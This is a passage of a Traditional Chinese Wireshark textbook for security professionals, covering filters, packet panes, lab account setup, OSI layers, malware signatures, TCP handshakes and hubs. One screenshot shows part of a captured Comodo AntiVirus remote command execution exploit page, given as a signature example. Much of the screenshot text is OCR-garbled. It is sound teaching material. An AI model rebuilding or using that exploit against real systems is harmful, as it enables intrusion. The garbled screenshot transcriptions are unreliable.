主工具列下方是封包清單的顯示過濾器(display filter)編輯框,它是 Wireshark圖形界面上重要的元素之一,若發現自己經常淹沒在封包的洪流 中,相信很快就會愛上它,過濾器可以排除不感興趣的封包,只顯示想要找 尋的部分。在過濾器的文字框裡輸入顯示內容的篩選條件式,可幫助你深入 查看封包清單區裡的封包,本章稍後還會詳細探討過濾器的應用,現在姑且 相信我:它們將成為你的新朋友。

封包清單區

畫面中間最大部分是為封包清單而保留,此清單顯示所有擷取的封包及常用 資訊,例如來源 IP、目的 IP、收到封包的時間差,Wireshark 可以為不同性 質的封包標示不同顏色,方便分類不同的網路流量,並簡化故障排除作業, 使用者也可以為感興趣的封包自定顏色,或者調整**封包清單區**裡的欄位布 置,以便顯示有用的資訊,如協定、封包長度和其他協定資訊(圖1-2)。

File Ed	ernet dit View Go C	apture Analyze Statisti	s Telephony Wireless	Tools Help		- 6	×
	201155	¥ ≣ @ ۹ + + ≌ ∓		Π			
Apply	a display filter <ct< td=""><td>1-/></td><td></td><td></td><td></td><td>Expression</td><td>h +</td></ct<>	1-/>				Expression	h +
No.	Time	Source	Destination	Protocol	Length	Info	^
1	0.000000	108.160.172.193	192.168.2.14	TLSv1.2	1082	Application Data	
2	0.050402	192.168.2.14	108.160.172.193	TCP	54	58472 → 443 [ACK] Seg=1 Ack=1029 Win=254 Len=0	
3	0.059665	192.168.2.14	81.161.59.93	TCP	66	58473 → 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SAC	K
4	0.201638	81.161.59.93	192.168.2.14	TCP	60	80 → 58473 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=146	0
5	0.201744	192.168.2.14	81.161.59.93	TCP	54	58473 → 80 [ACK] Seg=1 Ack=1 Win=64240 Len=0	
6	0.202445	192.168.2.14	81.161.59.93	HTTP	121	GET /poll?push id=3750f963-2304-4b6d-a93f-77db84a8bfff HT	Т
> 7	0.411006	192.168.2.14	47.55.55.55	DNS	70	Standard guery 0x6585 A zillow.com	
8	0.435455	192.168.2.14	142.166.166.166	DNS	70	Standard guery 0x6585 A zillow.com	
<u>⊸</u> _9	0.485175	47.55.55.55			172	Standard query response 0x6585 A zillow.com A 192.211.12.	2
10	0.485177	142.166.166.166	19 封包清里	166	172	Standard query response 0x6585 A zillow.com A 192.211.12.	2
11	0.485636	192.168.2.14	192,211,12,20	TCP	66	58474 → 80 [SYN] Sea=0 Win=8192 Len=0 MSS=1460 WS=256 SAC	К
12	0.485723	192.168.2.14	192.211.12.20	TCP	66	58475 → 80 [SYN] Seg=0 Win=8192 Len=0 MSS=1460 WS=256 SAC	K
13	0.576423	192.211.12.20	192.168.2.14	ТСР	62	80 → 58474 [SYN, ACK] Seq=0 Ack=1 Win=4380 Len=0 MSS=1460	🗸
> Fram > Ethe > Inte	e 7: 70 bytes rnet II, Src: rnet Protocol	on wire (560 bits), Micro-St_99:33:8b (d Version 4, Src: 192	70 bytes captured (5 8:cb:8a:99:33:8b), D 168.2.14, Dst: 47.55	60 bits) or st: Action .55.55	n inter te_9f:8	face 0 17:40 (a8:39:44:9f:87:40) (]) (2)	
> User > Doma	Datagram Prot in Name System	cocol, Src Port: 5835 (query) ④	il (58351), Dst Port:	53 (53)	3		
0000 0010 0020 0030 0040	a8 39 44 9f 8 00 38 0b a9 0 37 37 e3 ef 0 00 00 00 00 00 0 6d 00 00 01 0	7 40 d8 cb 8a 99 33 0 00 80 11 00 00 c0 0 35 00 24 29 5a 65 0 00 06 7a 69 6c 6c 0 01	8b 08 00 45 00 .9 a8 02 0e 2f 37 .8 85 01 00 00 01 .7 6f 77 03 63 6f	D@3 5.\$)Ze z illo	E. /7 ow.co	封包位元組區	
• 2	Internet Protocol Ver	sion 4 (ip), 20 bytes				Packets: 1753 · Displayed: 1753 (100.0%) Profile	: Default





	Ethe	rnet					- 0 >	:]
<u>F</u> ile	<u>E</u> d	it <u>V</u> iew <u>G</u> o	<u>Capture</u> <u>Analyze</u> <u>Statistic</u>	s Telephony Wireless	<u>T</u> ools <u>H</u> elp			
		2011) 🕅 🖸 । ९. 🖛 🔿 🛅 🖷	👲 📃 📃 Q, Q, G	2 III			
	pply a	ı display filter <	<ctrl-></ctrl->				Expression	+
No.		Time	Source	Destination	Protocol	Length	h Info	^
:	1	0.000000	108.160.172.193	192.168.2.14	TLSv1.2	1082	Application Data	
	2	0.050402	192.168.2.14	108.160.172.193	TCP	54	58472 → 443 [ACK] Seq=1 Ack=1029 Win=254 Len=0	
1	3	0.059665	192.168.2.14	81.161.59.93	TCP	66	58473 → 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK	
	4	0.201638	81.161.59.93	192.168.2.14	TCP	60	80 → 58473 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460	
1	5	0.201744	192.168.2.14	81.161.59.93	TCP	54	58473 → 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0	
	6	0.202445	192.168.2.14	81.161.59.93	HTTP	121	GET /poll?push_id=3750f963-2304-4b6d-a93f-77db84a8bfff HTT	
	7	0.411006	192.168.2.14	47.55.55.55	DNS	70	Standard query 0x6585 A zillow.com	
	В	0.435455	192.168.2.14	142.166.166.166	DNS	70	Standard query 0x6585 A zillow.com	
<u>ا ل</u> ه	9	0.485175	47.55.55.55	192.168.2.14	DNS	172	Standard query response 0x6585 A zillow.com A 192.211.12.2	
	10	0.485177	142.166.166.166	192.168.2.14	DNS	172	Standard query response 0x6585 A zillow.com A 192.211.12.2	
:	11	0.485636	192.168.2.14	192.211.12.20	TCP	66	58474 → 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK	
1	12	0.485723	192.168.2.14	192.211.12.20	TCP	66	58475 → 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK	
:	13	0.576423	192.211.12.20	192.168.2.14	TCP	62	80 → 58474 [SYN, ACK] Seq=0 Ack=1 Win=4380 Len=0 MSS=1460	~
> E > I > U ¥ D	ther nter ser omai	rnet II, Sro net Protoco Datagram Pr in Name Syst	:: Micro-St_99:33:8b (d ol Version 4, Src: 192. rotocol, Src Port: 5835 tem (query)	8:cb:8a:99:33:8b), 168.2.14, Dst: 47. 1 (58351), Dst Por	Dst: Action 55.55.55 t: 53 (53)	te_9f:1	:87:40 (a8:39:44:9f:87:40)	
,	[Ro Tra Fla Que	esponse In: ansaction I ags: 0x0100 estions: 1	<u>9]</u> D: 0x6585 Standard query	展開的	的樹狀約	吉構	5	
	An:	swer RRs: 0						
.	Aut Add Que	thority RRs ditional RR eries zillow.com:	: 0 s: 0 type A, class IN	J				
00	90	a8 39 44 9f	87 40 d8 cb 8a 99 33	8b 08 00 45 00	.9D@3	E.		-
00	10	00 38 0b a9	00 00 80 11 00 00 c0	a8 02 0e 2f 37	.8	/7		
00) 00	20 30 40	37 37 e3 ef 00 00 00 00 6d 00 00 01	00 35 00 24 29 5a 65 00 00 06 7a 69 6c 6c 00 01	85 01 00 00 01 6f 77 03 63 6f	775.\$)Ze z illo m	 ow.co		
	R	Number of answe	ers in packet (dns.count.answers), 2	2 bytes			Packets: 1753 · Displayed: 1753 (100.0%) Profile: De	fault

圖 1-3:展開後的封包明細區

NOTE 在設備之間傳遞的訊息,有人稱為資料訊框(data frame),有 人稱為封包(packet),兩者到底有何區別?當訊息在OSI 模型第2層 (資料連接層,使用 MAC 位址)傳遞時,整個訊息稱為訊框;當在第3 層(網路層,使用 IP 位址)傳遞時,該訊息就稱為封包。

若已熟悉訊框的結構,自然對封包的樹狀結構內容也不會感到陌生,它是按照訊框的標頭分列(欄位)安排的詳細資訊,可以點擊各分列旁邊的箭頭來 收合/展開樹狀內容,收合時箭頭指向右邊,點擊箭頭展開內容後,箭頭改 指向下方(圖1-3),當然,也可在封包明細區利用滑鼠右鍵開啟彈出式選 單,利用選單項目來收合或展開樹狀結構。

只要封包清單區的某一筆封包被選中,該封包的內容就會出現在下方的區域 (指封包明細區及封包位元組區),以圖 1-2 和 1-3 的例子是選中編號 7 的 封包,封包明細區顯示的資訊就是屬於編號 7 的封包所有。



有來自或送往指定 IP 的流量,它的原理是比對 IP 封包標頭中的來源位址和 目的位址,因此往來此位址的封包都會回傳「true」。

NOTE 要留意,如果變數在封包中出現一次以上,此表達式會測試每個 變數,例如 eth.addr 會比較來源和目的位址。如果誤用表達式分組會導 致不可預期的行為,尤其使用否定性(negation)表達式更是如此,例 如「eth.addr!=00:01:02:03:04:05」永遠都回傳 true。

上面比較運算式的例子中, IP 位址與變數 ip.addr 進行比較,以顯示來自和 送往此 IP 的流量,如果嘗試將此變數與「google.com」比較,Wireshark 顯示錯誤訊息,因為它不是 IP 位址。表達式中的變數有資料型別之分, 亦即,此語言預期某種型別的物件只會與同型別的變數進行比較,可以到 http://www.wireshark.org/docs/dfref/的 Display Filter Reference(顯示 過濾器參考)網頁查看可用的變數及其型別。實際上也可以從封包明細區看 到 Wireshark 對封包中每個元素的期望值,或從畫面下方的狀態欄最左邊找 到變數名稱,狀態欄會顯示封包明細區所選項目的過濾式欄位。

圖 1-4 顯示從封包清單區選擇一筆封包,封包明細區選擇一個位元組,此位元 組是 IP 版本,查看畫面左下角的狀態欄顯示「Version (ip.version), 1 byte」。

🛋 *R	ealtek PCIe GBE Family Co	ntroller: Ethernet						-		×
File E	dit View Go Captur	e Analyze Statistics Telepho	ny Wireless Tools	Help						1
		Q + + + = = = = = = = = = = = = = = = =	0, 0, 0, 11							
Apph Apph	r a display filter <ctrl-></ctrl->							•	Expression	+
No.	Time	Source	Destination	Protocol	Length	Info				^
1	4.358684	192.168.2.14	119.95.62.161	UDP	1480 4	42501 → 39413	Len=1438			
1	4.358745	192.168.2.14	119.95.62.161	UDP	1480	42501 → 39413	Len=1438			
1	4.358795	192.168.2.14	119.95.62.161	UDP	1480 4	42501 → 39413	Len=1438			
1	4.358844	192.168.2.14	119.95.62.161	UDP	1480 4	42501 → 39413	Len=1438			~
<										>
> Fra	me 1833: 1480 bytes	on wire (11840 bits), 1	480 bytes capture	ed (11846	0 bits)	on interface	9			^
> Eth	ernet II, Src: Micr	o-St 99 33:8b (d8:cb:8a:	99:33:8b), Dst: /	Actionte	9f:87:	40 (a8:39:44:9	f:87:40)			
∨ Int	ernet Protocol Vers	ion 4 Src: 192.168.2.14	, Dst: 119.95.62	.161						
0	100 = Version:	4								
	0101 = Header L	ength: 20 bytes								
> D	ifferentiated Servi	ces Field: 0x00 (DSCP: C	SØ, ECN: Not-ECT)						
Т	otal Length: 1466									
I	dentification: 0x5b	bf (23487)								~
0000	a8 39 44 9f 87 40	d8 cb 8a 99 33 8b 08 00	9 45 00 .9D@	3	. 🗉 .					^
0010	05 ba 5b bf 00 00	80 11 00 00 c0 a8 02 0	e 77 5f[- W					- 11
0020	3e a1 a6 05 99 f5	05 a6 7e 6e 01 00 f9 10	5 26 86 >	~n	.&.					
0030	b8 36 27 84 f6 01	00 00 c3 50 e7 6a bb 7	1 05 b1 .6'	P.j.d	q					
0040	14 f0 b1 41 a4 c6	16 9e ba 6e 65 49 7b 2a	a 12 a8A	neI{ ³	*					
0050	38 d3 88 2f 66 ea	d6 a4 e2 26 8c 9c 3e d	9 49 69 8/f.	&>	.Ii					
0060	4f f4 36 71 d7 70	36 c8 5f bb 80 80 58 24	4 f2 35 0.6q.p	5X	\$.5					
0070	33 94 79 at 12 b4	36 76 57 71 3c 97 4e a	a e3 d3 3.y	5v Wq<.N.						
0860	80 01 04 HB 44 70	of as 89 /9 25 14 0c 1	5 10 99Dp	y%	;					
0090	00 02 03 00 90 02	ce er av ed 98 90 24 es	a /e oc	••••••	.~1					~
	Version (ip.version), 1 byte						Packets: 2310 · Displayed: 2310 (100.0%)		Profile: De	fault 📑

圖 1-4:在狀態列裡的欄位資訊



開立實驗環境的使用者帳號

做為一名資安專業人員,明白使用 root 身分登入系統的風險,最佳作法是日常作業以不同帳號來處理,實驗工作也不例外。

在安裝實驗環境之前,請先建立「w4sp-lab」帳號,要執行這項作業,請開 啟終端視窗,有兩個地方可以找到終端視窗的進入點:點擊 Kali 左上角的 Applications(見圖 2-44),或者左側工作列的黑色終端機圖示。終端視窗的 預設工作目錄會是/root。

在終端視窗的 root 提示號輸入下列命令,並按下 Enter 鍵(不會看到執行訊息):

useradd -m w4sp-lab -s /bin/bash -G sudo -U

下一步是為此帳號設置密碼,再次於終端視窗輸入下列命令,並按下 Enter 鍵:

passwd w4sp-lab

請依系統提示輸入新密碼及確認密碼,如圖 2-41 所示。

rගන්රල්වි දක්.මස්ස් හු හා ප	Θ	0	
File Solli, Wiew Seanch Terminal Help			
root@kaliw4sp:-# useradd -m w4sp-lab -s /bin/bash -G sudo -U root@kaliw4sp:-# passwd w4sp-lab 這裡輸入密碼 Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully 這裡輸入確認密碼 root@kaliw4sp:-#■			

圖 2-41:建立新帳號 w4sp-lab 及設定密碼

現在已經有了新的帳號,需要先登出系統,再以「w4sp-lab」身分重新登入。

NOTE 實驗環境的腳本會期待此帳號,必須確認是以 w4sp-lab 身分重 新登入,確保和以下章節的實驗一致。



當然,有些讀者可能認為討論的內容太簡單,但願讀者能藉此激發出新的實 用概念,本章的目標是確保所有讀者對這些基礎知識有共同的理解,並可以 充分利用 Wireshark。

網路作業原理

沒有網路,你就不可能坐在電腦前擷取網路封包。最基本的要求是:對於資訊如何從一臺設備流向另一臺設備要有相同的想法,而對於這種想法,沒有 比使用 OSI 模型來描述更恰當了。

OSI 網路分層

是的,討論網路沒有不提到 OSI 模型及其分層,假設讀者已經看過開放式系 統互聯通訊參考模型或叫 OSI 模型,一個系統上的分層會與另一個系統的 對應分層進行交談,底下是常見 OSI 七個分層,並以簡短的文字說明各分層 的功用。



前面章節已介紹過Wireshark GUI的佈局,圖 3-1 只顯示封包清單區和封 包明細區,在使用Wireshark時,這些網路分層就直接出現在封包明細區,



對於惡意軟體,如果知道要找的是什麼,就能確認它在不在擷取到的內容裡,顯然「**如果知道要找的是什麼**」就是關鍵點,不是嗎?也就是入侵偵測的**特徵值**。如圖 3-3 的範例,有些特徵值相對明顯。

											~
	EXPLOI	I_Comodo_A	ntivirus_2.0_ExecuteStr()_Remote_Command_E	xecutio	n_Exploit_EvliFingers.pcap			-		X
File	Edit	View Go	Capture Analyze S	tatistics Telephony	Wireles	s Tools Help					
		0 1	869 🗣 🗰	🛎 春 速 其 📃 🤅		♀. Ⅲ					
A	pply a di:	splay filter <	:Ctrl-/>							Expressio	n +
No.		Time	Destination	Source	Length	Info				Protocol	^
6	5	0.189092	192.168.0.15	192.168.0.22	54	3856→80 [ACK] Seq=2	28 Ack=258	Win=65278 Len=0		ТСР	
- 7	7	0.189413	192.168.0.22	192.168.0.15	513	HTTP/1.1 200 OK (t	ext/html)			HTTP	
8	8	0.407834	192.168.0.15	192.168.0.22	54	3856→80 [ACK] Seq=2	28 Ack=717	Win=64819 Len=0		TCP	
L	9	5.518229	192.168.0.15	192.168.0.22	54	3856→80 [RST, ACK]	Seq=228 Ac	k=717 Win=0 Len=0	1	тср	~
<										>	
> E	therne	et II, Sro	: Dell_19:77:7a (00:1d:09:19:77:7a), Dst	t: D-LinkCo_c2:8a:17	(00:1b:11	:c2:8a:17)			^
> I	nterne	et Protoco	ol Version 4, Src:	192.168.0.15, Ds	t: 19	2.168.0.22					
> T	ransmi	ission Con	trol Protocol, Sr	c Port: 80, Dst P	ort:	3856, Seq: 258, Ack:	228, Len:	459			
> [2 Reas	ssembled T	CP Segments (716	bytes): #5(257),	#7(45	9)]					_
> <u>H</u>	yperte	ext Transf	er Protocol								
× L	ine-ba	ased text	data: text/html								
	'</td <td>\r\n</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	\r\n									
	Como	do AntiVir	rus 2.0 ExecuteStr	() 0day Remote Co	ommand	Execution Exploit\r	·\n				
	Bug (discovered	d by Krystian Klos	kowski (h07) <h07< td=""><td>@inte</td><td>ria.pl>\r\n</td><td></td><td></td><td></td><td></td><td></td></h07<>	@inte	ria.pl>\r\n					
	Test	ed on:\r	r\n								
	- Cor	modo Anti\	/irus Beta 2.0\r\n								
	- Mi	crosoft Ir	nternet Explorer 6	\r\n							- 2
	Just	tor tun	;) \r\n								-
	>\	r\n									
	\r\n										
	<ntm.< td=""><td>1>\r\n + :- "-"</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></ntm.<>	1>\r\n + :- "-"									
	<obje< td=""><td>ect 1d= of</td><td>oj classid= clsid</td><td>:309F074D-E4D3-40</td><td>DRD-RA</td><td>E2-ED/DFD/FD1/6 ><td>oject>\r\n</td><td></td><td></td><td></td><td>~</td></td></obje<>	ect 1d= of	oj classid= clsid	:309F074D-E4D3-40	DRD-RA	E2-ED/DFD/FD1/6 > <td>oject>\r\n</td> <td></td> <td></td> <td></td> <td>~</td>	oject>\r\n				~
01.	10 70	6- 65 73		0- 4- 75 73 74 30	66	alaman 6 Junt 6					
010	0 70	72 20 66	75 6e 20 20 3b	28 48 75 73 74 20 29 20 20 01 02 21	2d	or fun :)					^
011	F0 3e	0d 0a 0d	0a 3c 68 74 6d 6	6c 3e 0d 0a 3c 6f	62	> <ht ml=""><ob< td=""><td></td><td></td><td></td><td></td><td>- 10</td></ob<></ht>					- 10
020	00 6 a	65 63 74	20 69 64 3d 22 0	6f 62 6a 22 20 63	6c	ject id= "obj" cl					~
Fra	me (513	bytes) Re	assembled TCP (716 bytes)								•
0	7 Тех	t item (text), 2	0 bytes				Packets: 9	• Displayed: 9 (100.0%) • Load tim	ne: 0:0.0	Profile: D	Default .:
-		(10.11)/ -									

圖 3-3: 惡意軟體的特徵碼例子

「知道要找的是什麼」也許是文字中的已知字串或 ASCII、特殊來源或目的 端口、供惡意程式報到的控制中心 IP 區段,這些都是可用來檢測的信號,可 以幫助建立有效的顯示過濾式。

欺騙和毒化

當我到食品百貨店,有時會在熟食區前擺張桌子,穿上圍裙,假裝在那裡工 作,自吹是熟食專家,其他人也信以為真,當客人要肉類或奶酪時,我真的 轉身到熟食櫃檯去拿。不是內行人,很難察覺真假,不是嗎!



還記得一些主要的差異嗎?

- 在發送任何訊息之前,TCP 會先建立連接,UDP 則不會。
- UDP 效能更快、更輕量,而且不在乎封包是否到達目的地。
- 雖然兩者都會產生檢查碼及進行錯誤檢核,但 UDP 沒有重送功能,而 TCP 藉由確認動作,會重送傳輸過程中發生錯誤的封包。

在真正發送資料之前,TCP首先建立連接,著名的三向(三封包)交握如圖 3-7 所示。

File I	Edit View Go C	apture Analyze Statis	tics Telephony Wireles	s Tools	Help	
<u> </u>	2015	SCIS + + 25		۹. 🎞		
Appl [*]	y a display filter <ctr< td=""><td>·l-/></td><td></td><td></td><td></td><td></td></ctr<>	·l-/>				
No.	Time	Destination	Source	Length	Info	Protocol
_ 1	0.000000	212.58.226.142	172.16.16.128	66	2826→80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460	TCP
2	0.132627	172.16.16.128	212.58.226.142	66	80→2826 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len	TCP
- 3	0.132768	212.58.226.142	172.16.16.128	54	2826→80 [ACK] Seq=1 Ack=1 Win=16872 Len=0	TCP

圖 3-7: TCP 的三向交握

TCP 是一種連接導向的協定,先經由三向交握(3-way handshake)建立兩 系統間的連接:發出一個 SYN 封包、收到一個 SYN/ACK 的回應、然後再 發出一個 ACK 確認,只有確認完成三向交握,才會在兩造之間傳送一個或 多個資料封包。順道一提,有注意到圖 3-1 的三向交握嗎?

TCP應用在需要可靠、具錯誤檢查、封包重送、流量控制和維持封包順序的 場合;UDP只是「盡最大努力」傳送,或者說「射後不理」,基本上,每一 種應用程式或服務只會選擇 TCP 或 UDP 之一使用。

最明顯打破慣例的是 DNS,它同時使用 TCP 及 UDP, DNS 根據性能和可 靠性需求,有規則地使用兩種協定,當進行 DNS 查詢(那臺伺服器位於何 處?那個網站在何方?),查詢封包以 UDP 快速送出,若幾秒內未得到回應 就再送一次,沒有必要為了這麼多的查詢去麻煩三向交握;但是 DNS 資料 庫內容要維持準確才能得到信賴,證明了可靠性是 TCP 的價值,這就是擷取





圖 4-11:使用集線器擷取封包

現在封包應該會同時在所連接的三條纜線上出現,網路也發生一些變化,多 數的實體連接會自動協商建立全雙工連接,在正常情況下,允許同時進行傳 送和接收,而集線器會協商成半雙工連線,將重新啟用碰撞檢測協定,在部 署交換式網路之前,因為碰撞域包含許多連線設備,不可能使用全雙工連 線,在現今交換式網路架構下,半雙工連線變成一個不正常現象。

NOTE 記住,現在你的流量也會被集線器上的其他設備看到,如果隱藏 行蹤是重要課題,這可成了一項大問題。

如圖 4-12 所示,進入連接埠1的訊框被複製到連接埠2和3,這與沒有啟用 生成樹協定(STP)的網路交換器之行為相類似,所有通訊都直接送出,而 不考慮可能造成連線環路。



圖 4-12:在集線器上嗅探的網路流量



現在,當擷取來自192.168.0.0子網的 ping 封包時,它們就會以該顏色呈現,可以使用前面介紹過的顯示過濾器語法來變更著色規則。

選擇臨時性著色

封包著色的第二種方式是臨時指定顏色,要將整個對話(兩個或多個設備之間的串流)著色,只需在**封包清單區**的某個封包上點擊滑鼠右鍵,然後從彈出選單選擇 Colorize Conversation(為對話著色)即可。如圖 4-33 所示,可以利用顏色來區某一網路層。

le Edit View Go Captur Analyze Statistics Telephony Wireless Tools Help Apply a fulley fifther _ Cht/- Time Dedination 1 0.000000 12 0.000000 13 0.000000 192.168.2.240 192.168.2.230 192.168.2.230 192.168.2.240 192.168.2.230 192.168.2.230 192.168.2.240 192.168.2.230 192.168.2.230 192.168.2.240 192.168.2.230 192.168.2.230 192.168.2.240 192.168.2.230 192.168.2.230 192.168.2.230 192.168.2.230 192.168.2.230 192.168.2.231 192.168.2.230 192.168.2.230 192.168.2.230 192.168.2.231 192.168.2.230 192.168.2.230 192.168.2.230 100 0.550974 UDP 56/Unest Time Shitt. Ctri-D 100 0.550974 UDP 56/Unest Time Shitt. Ctri-Alt+C 11 0.75077 114 2.6523721 Colora E Conversation SSDP 12 0.750871 142.265321 Colora E Conversation SSDP 13 1.6577871 142.465314 SSDP SSDP	🛋 *Myr	enamed PCIe GBE interfa	ce: Ethernet				-		×
Apple algopty (filtr	File Edit	View Go Capture	Analyze Statistics Tele	phony Wireless To	ools Hel	p			
Apple depuis filterCOH/> Destination Source Length Info Protocol 1 0.000000 192.168.2.240 192.168.2.230 459 40229-55522 Len-413 UOP 3 0.000308 192.168.2.240 192.168.2.230 451 40229-55522 Len-479 UOP 4 0.000308 192.168.2.240 192.168.2.230 51 40289-55522 Len-479 UOP 5 0.000309 192.168.2.240 192.168.2.230 51 40289-55522 Len-479 UOP 6 0.41584 192.168.2.240 192.168.2.230 51 40289-55522 Len-479 UOP 7 0.417540 1 Mart/Unmark Packet Ctri-M 10000 (Crishitr 1 SSDP 10514082 Len-461 UOP		S X A IO	9. 余余 照 茶 孝 三		F	F			
Time Destination Source Langth Indo Protocol 1 0.000000 192.168.2.240<	Apply a	disnlav filter <ctrl-></ctrl->			-			* Expressio	n +
1 0.000000 192.168.2.240 192.168.2.230 455 40289+55522 Len=413 UDP 2 0.000004 192.168.2.240 192.168.2.230 455 40289+55522 Len=417 UDP 4 0.000305 192.168.2.240 192.168.2.230 455 40289+55522 Len=477 UDP 4 0.000309 192.168.2.240 192.168.2.230 521 46888-55522 Len=477 UDP 6 0.416835 6 Mark/Unmark Packet Ctrl+M fdf 70.179.00 110.179.00 Fdf 70.179.00 1110.179.00 Fdf 70.179.00 1110.179.00 Fdf 70.1199.01, id=375076963-2304.4b6d-a93f-72. HTTP 9 0.550974 110 55204/320174(2-500 Min:220 Len=47.00 HTTP 110.179.00	10	Time	Destination	Source	Length	Info		Protocol	
2 0.000000 192.168.2.240 19	1	0 000000	102 168 2 240	102 168 2 230	455	40280-55522 Ler	n=413	LIDD	
3 0.000385 192.168.2.240 192.168.2.230 401 40289-55522 Len=449 UDP 4 0.000386 192.168.2.240 192.168.2.236 521 46888-55522 Len=477 UDP 6 0.406385 192.168.2.240 192.168.2.236 521 46888-55522 Len=477 UDP 6 0.416835 Mark/Unmark Packet CH+M GET /poll/push.id=37594963-2344-4b6d-a934-7 HTP 7 0.417540 Mark/Unmark Packet CH+M GET /poll/push.id=37594963-2344-4b6d-a934-7 HTP 10 0.559074 Time Shift CH+AH CH+AH GET /poll/push.id=37594963-2344-4b6d-a934-7 HTP 11 0.7676691 Facet Comment CH+AH CH+AH CH+AH SEQUEXCHARME S	2	0.000000	192 168 2 240	192.168.2.230	459	40289+55522 Ler	n=417	UDP	
4 0.000308 192.168.2.240 192.168.2.230 521 46808-55522 Len=479 UDP 5 0.000309 192.168.2.240 192.168.2.230 519 47431-55522 Len=477 UDP 7 0.417540 Mark/Ummark Packet Ctri-M Interpendence HTTP/1.1 200.055074 HTTP HTTP/1.1 200.0550774 HTTP GET /pollipush.id=3750*903-2344.4b6d-a93f-2. HTTP 10 0.5507747 SetUnset Time Reference Ctri-M Ctri-Alt-Ct HTTP/1.1 S5DP 11 0.767669 False Frame 6: 333 bytes on wire Ctri-Alt-Ct HTTP/1.1 S5DP 12 0.768641 Edit Resolved Name S5DP S523-32414 Len=21 UDP 14 2.053271 Apply as Filter Propare a Filter Follow S5DP S523-32414 Len=21 UDP 10 0.767669 Colorize Conversation SE SCTP SCTP SCTP SCTP SCTP SCOP	3	0.000305	192.168.2.240	192.168.2.230	491	40289→55522 Ler	n=449	UDP	
5 0.000309 192.168.2.240 112.162.162.162.162.162.162.162.162.162.	4	0.000308	192.168.2.240	192.168.2.230	521	46808→55522 Ler	n=479	UDP	
6 0.416835 Mark/Unmark Packet Ctrl+M 7 0.417540 Ignore/Unignore Packet Ctrl+M 9 0.417766 GET /no11Push_id=3756963-2304-4b6d-a93f-7HTP 9 0.555973 GET /no11Push_id=3756963-2304-4b6d-a93f-7HTP 10 0.767669 GET /no11Push_id=3756963-2304-4b6d-a93f-7HTP 11 0.767669 GET /no11Push_id=3756963-2304-4b6d-a93f-7HTP 12 0.768041 GET /no11Push_id=3756963-2304-4b6d-a93f-7HTP 13 1.657787 Advected Name Get /no14Push_id=3756963-2304-4b6d-a93f-7HTP 14 2.053271 Advected Name Mission SSSDP 14 2.053271 Advected Name Mission SSSDP 14 2.053271 Advected Name Mission SSSDP 15 Colorize Conversation SCTP Follow SSSDP Mission Colorize Conversation SCTP Follow Scolor 3 Get /no14 Scolor 3 DavaScript Object Notation Color 4 Scolor 4 Scolor 3 Geor 7 Geor 7 0100 13 37 19 40 00 30 6 C2 09 51 a1 3b 5d C0 a8 <td< td=""><td>5</td><td>0.000309</td><td>192.168.2.240</td><td>192.168.2.230</td><td>519</td><td>47431→55522 Ler</td><td>n=477</td><td>UDP</td><td></td></td<>	5	0.000309	192.168.2.240	192.168.2.230	519	47431→55522 Ler	n=477	UDP	
7 0.417540 Immary Unmark Packet Ctrl+M 8 0.417706 Immark Unmark Packet Ctrl+D 9 0.555974 Immark Unmark Packet Ctrl+D 10 0.767669 1 Packet Comment Ctrl+Alt+C 11 0.767669 1 Packet Comment Ctrl+Alt+C 12 0.768041 1 Packet Comment Ctrl+Alt+C 13 1.657787 Apply as Filter Packet Comment Ctrl+Alt+C 14 2.65271 Prepare a Filter Protocol Version Time Shint Start Packet Comment Start Packet Comment 15 Colorize Conversation * Start Packet	- 6	0.416835	1 March Olamonda Dan	Chill M	1	HTTP/1.1 200 OK	K (application/json)	HTTP	
8 0.417766 ignore/Unignore Packet CtH+D 9 0.5559974 Set/UnsetTime Reference CtH+T 10 0.5559974 Time Shift CtH+Shift+T 8 0.75669 Packet Comment CtH+AI+C 9 0.655974 Packet Comment CtH+AI+C 11 0.767669 Packet Comment CtH+AI+C 12 0.768041 Edit Resolved Name M-SEARCH * HTTP/1.1 SSDP 14 2.653271 Prepare a Filter	7	0.417540	Mark/Unmark Pac	ket Ctrl+M		GET /poll?push_	_id=3750f963-2304-4b6d-a93f-7	HTTP	
0 0.559978 10 0.559978 11 0.7669 12 0.7669 13 1.657787 14 2.653271 17 Apply as Filter 18 2.653271 19 7.6769 11 2.653271 11 4.767450 12 4.75787 13 1.657787 14 2.653271 11 Prepare a Filter Conversation Filter * 5523-32414 Len=21 UDP 9 5523-32414 Len=21 UDP 11 60.7669 * 11 6.76740 * 11 6.76740 * 11 6.76740 * 11 6.76740 * 11 6.76740 * 11 6.76740 * 11 6.76740 * 11 6.76740 * 11 6.76740 * 11 6.76740 * 12 <t< td=""><td>8</td><td>0.417706</td><td>Ignore/Unignore</td><td>Packet Ctrl+D</td><td></td><td>GET /poll?push_</td><td>id=3750f963-2304-4b6d-a93f-7</td><td>HTTP</td><td>-</td></t<>	8	0.417706	Ignore/Unignore	Packet Ctrl+D		GET /poll?push_	id=3750f963-2304-4b6d-a93f-7	HTTP	-
10 0.55922 11 0.767669 12 0.768841 13 1.057787 14 2.053271 17 Apply as Filter 18 2.053271 19 Apply as Filter 10 7.767.0 11 0.767669 11 0.76787 11 0.76787 11 0.76787 11 0.76787 11 0.76787 11 0.76787 11 0.76787 11 0.76787 11 0.76787 12 0.7787 13 1.057787 14 2.053271 15 0.768041 16 161.8822 Len=461 11 1061-8822 Len=461 11 1061-8822 Len=461 11 1061-882 Len=461 12 12 13 15.72 14 2.0607 15 11 16 12 17000ccl Preferences 12 <td>9</td> <td>0.559974</td> <td>Set/Unset Time R</td> <td>eference Ctrl+T</td> <td></td> <td>80→55824 [ACK]</td> <td>Seq=280 Ack=96 Win=229 Len=0</td> <td>ТСР</td> <td></td>	9	0.559974	Set/Unset Time R	eference Ctrl+T		80→55824 [ACK]	Seq=280 Ack=96 Win=229 Len=0	ТСР	
